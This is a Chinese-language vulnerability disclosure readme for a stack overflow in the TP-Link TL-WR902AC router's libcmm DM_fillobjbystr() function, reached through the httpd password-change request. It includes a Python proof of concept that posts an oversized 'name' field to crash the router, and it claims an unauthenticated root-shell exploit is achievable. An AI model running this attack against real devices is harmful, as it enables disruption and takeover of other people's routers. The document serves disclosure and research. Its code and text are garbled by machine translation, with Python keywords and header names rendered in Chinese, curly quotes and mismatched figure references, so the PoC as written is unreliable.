readme.md
TP-Link TL-WR902AC 堆栈溢出漏洞
概述
- 国内漏洞库地址:https 😕/www.cnvd.org.cn/
- 厂商网站信息:https://www.tp-link.com/us/
- 固件下载地址:https 😕/www.tp-link.com/us/support/download/
- 厂商安全反馈地址:https://www.tp-link.com/us/press/security-advisory/
注:已向官方确认官网为最新固件,无其他补丁固件。该漏洞影响最新版本,如图。
注:已向官方确认官网为最新固件,无其他补丁固件
2.漏洞详情
栈溢出漏洞的主要原因是在 libcmm 所以库函数 DM_fillobjbystr() 中,该函数会处理前端返回的 key = value 的值。下面以修改httpd密码为例介绍该漏洞的传播路径。Httpd 程序在接收到 oldpwd、PWD 和 name 时不检查长度。使用 sprintf 拼接这些变量后,第一个传播函数是 RDP_setObj()。
图2 漏洞传播位置1
这个函数称为 RDP_setobj() 调用 DM_Fillobjbystr() 函数进行下一步。
图3 漏洞传播位置2
然后在 DM_Fillobjbystr() 中直接调用 strncpy 将输入内容复制到局部变量 V26 中。如图7所示,变量大小为1304,可以溢出;同时,如图6所示,strncpy的拷贝长度为’=‘和’\n’之间的字符长度,不做限制也不勾选。所以拷贝长度是可控的,这个位置存在栈溢出漏洞。这里的第二个红框是测试崩溃的位置。
图4 溢出位置和崩溃位置
图5 可控拷贝长度
图6 局部变量溢出大小
3. 反复出现的漏洞和 POC
为了重现漏洞,可以遵循以下步骤:
- 使用胖仿真固件tl-wr902acv3_US_0.9.1_0.2。斌
- 使用以下 POC 攻击进行攻击
导入请求
headers = {
"Host": "192.168.0.1",
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0",
"Accept": "*/*" ,
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "text/plain",
"Content-Length": " 78”,
“来源”:“http://192.168.0.1”,
“连接”:“关闭”,
“Referer”:“http://192.168.0.1/”
}
有效负载 = "a" * 2048
formdata = "[/cgi/auth#0,0,0,0,0,0#0,0,0,0,0,0]0,3\r\nname={} \r\noldPwd=admin\r\npwd=lys123\r\n".format(有效负载)
url = "http://192.168.0.1/cgi?8"
response = requests.post(url, data=formdata, headers=headers)
打印 response.text
复现结果如下:
图 7 POC 攻击效果
最后可以写exp,可以达到很稳定的获取root shell的效果,并且不需要任何密码登录访问路由器。这是一个未经授权的 rce 漏洞。(如下图,没有网页登录)